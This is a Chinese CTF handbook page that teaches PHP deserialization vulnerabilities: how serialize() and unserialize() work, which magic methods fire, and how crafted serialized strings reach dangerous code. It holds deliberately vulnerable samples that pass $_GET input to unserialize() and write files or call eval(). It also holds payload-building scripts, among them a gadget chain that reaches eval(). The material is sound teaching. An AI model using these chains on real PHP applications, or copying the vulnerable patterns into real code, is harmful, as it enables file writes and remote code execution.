CTF Book
  • 关于本书
  • Web
    • 信息搜集
    • 注入攻击
      • SQL注入
      • XML实体注入
      • SSTI 服务器模板注入
    • 前端安全
      • XSS 跨站脚本攻击
      • CSRF 跨站请求伪造
      • Html5 特性
    • 常见漏洞
      • SSRF 服务端请求伪造
      • File upload 文件上传漏洞
      • Web Cache 欺骗攻击
    • 特定场景漏洞
      • AWS 漏洞系列
        • S3 Bucket信息泄露
      • 未授权访问漏洞
        • redis未授权访问
        • CouchDB未授权访问
        • Docker Remote API未授权访问
        • memcache 未授权访问
        • Jenkins 未授权访问
        • PHP-FPM未授权访问
        • rsync 未授权访问
        • Mongodb未授权访问
      • 服务器配置问题
        • Apache Tomcat样例目录session操纵漏洞
    • PHP 安全
      • PHP 反序列化漏洞
      • PHP 代码审计小结
      • PHP 伪协议总结
      • PHP 内存破坏漏洞
      • PHP mail header injection
      • PHP 弱类型安全总结
      • PHP 各版本特性
    • 逻辑漏洞
    • CTF-Web Trick
  • PWN
    • pwntools简要教程
    • 从任意地址写到控制执行流的方法总结
  • Reverse
    • 栈、栈帧与函数调用
  • Crypto
    • RSA 安全问题
  • Misc
    • zip总结
  • Others
    • CTF常用工具整理
    • 渗透测试工具备忘录
Powered by GitBook
On this page
  • 序列化与反序列化
  • serialize()
  • unserialize()
  • 反序列化漏洞
  • 利用构造函数等
  • 利用普通成员方法

Was this helpful?

  1. Web
  2. PHP 安全

PHP 反序列化漏洞

PreviousPHP 安全NextPHP 代码审计小结

Last updated 5 years ago

Was this helpful?

序列化与反序列化

php中有两个函数 和。

serialize()

当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下;

<?php
class chybeta{
    var $test = '123';
}

$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

这边我们创建了一个新的对象,并且将其序列化后的结果打印出来:

O:7:"chybeta":1:{s:4:"test";s:3:"123";}

这里的O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a。7表示对象的名称有7个字符。"chybeta"表示对象的名称。1表示有一个值。{s:4:"test";s:3:"123";}中,s表示字符串,4表示该字符串的长度,"test"为字符串的名称,之后的类似。

unserialize()

与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象(object)。

<?php
class chybeta{
    var $test = '123';
}

$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';    print_r($class2);
echo "</br>";

$class2_unser = unserialize($class2);
print_r($class2_ser);

?>

这里提醒一下,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。

反序列化漏洞

由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

利用构造函数等

Magic function

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

  • 析构函数__destruct():当对象被销毁时会自动调用。

  • __wakeup() :如前所提,unserialize()时会自动调用。

测试如下:

<?php
class chybeta{
    var $test = '123';
    function __wakeup(){
        echo "__wakeup";
        echo "</br>";
    }
    function __construct(){
        echo "__construct";
        echo "</br>";
    }
    function __destruct(){
        echo "__destruct";
        echo "</br>";
    }
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
    print_r($class2);
echo "</br>";

$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";

?>

利用场景

__wakeup() 或__destruct()

由前可以看到,unserialize()后会导致__wakeup() 或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup() 或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup() 场景做个实验。假设index源码如下:

<?php
class chybeta{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$this->test);
        fclose($fp);
    }
}

$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);

require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>

同目录下有个空的shell.php文件。一开始访问index.php。

基本的思路是,本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 "<?php phpinfo(); ?>",再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。为此我们写个php脚本:

<?php
class chybeta{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$class4 = new chybeta();
$class4->test = "<?php phpinfo(); ?>";    $class4_ser = serialize($class4);    print_r($class4_ser);
?>

由此得到序列化结果:

O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

其他Magic function的利用

但如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的__construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。

<?php

class ph0en1x{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class chybeta{
    var $test = '123';
    function __wakeup(){
        $obj = new ph0en1x($this->test);
    }

}

$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);

require "shell.php";
?>

这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 __wakeup()函数,从而在new ph0en1x()会自动调用对象ph0en1x中的__construct()方法,从而把<?php phpinfo() ?>写入到 shell.php中。

利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

<?php

class chybeta {
    var $test;
    function __construct() {
        $this->test = new ph0en1x();
    }

    function __destruct() {
        $this->test->action();
    }
}

class ph0en1x {
    function action() {
        echo "ph0en1x";
    }
}

class ph0en2x {
    var $test2;
    function action() {
        eval($this->test2);
    }
}

$class6 = new chybeta();

unserialize($_GET['test']);

?>

本意上,new一个新的chybeta对象后,调用__construct(),其中又new了ph0en1x对象。在结束后会调用__destruct(),其中会调用action(),从而输出 ph0en1x。

下面是利用过程。构造序列化。

<?php
class chybeta {
    var $test;

    function __construct() {
        $this->test = new ph0en2x();
    }

}
class ph0en2x {
    var $test2 = "phpinfo();";

}
echo serialize(new chybeta());
?>

得到:

O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}

传给index.php的test参数,利用成功:

php中有一类特殊的方法叫“”, 这里我们着重关注一下几个:

serialize()
unserialize()
Magic function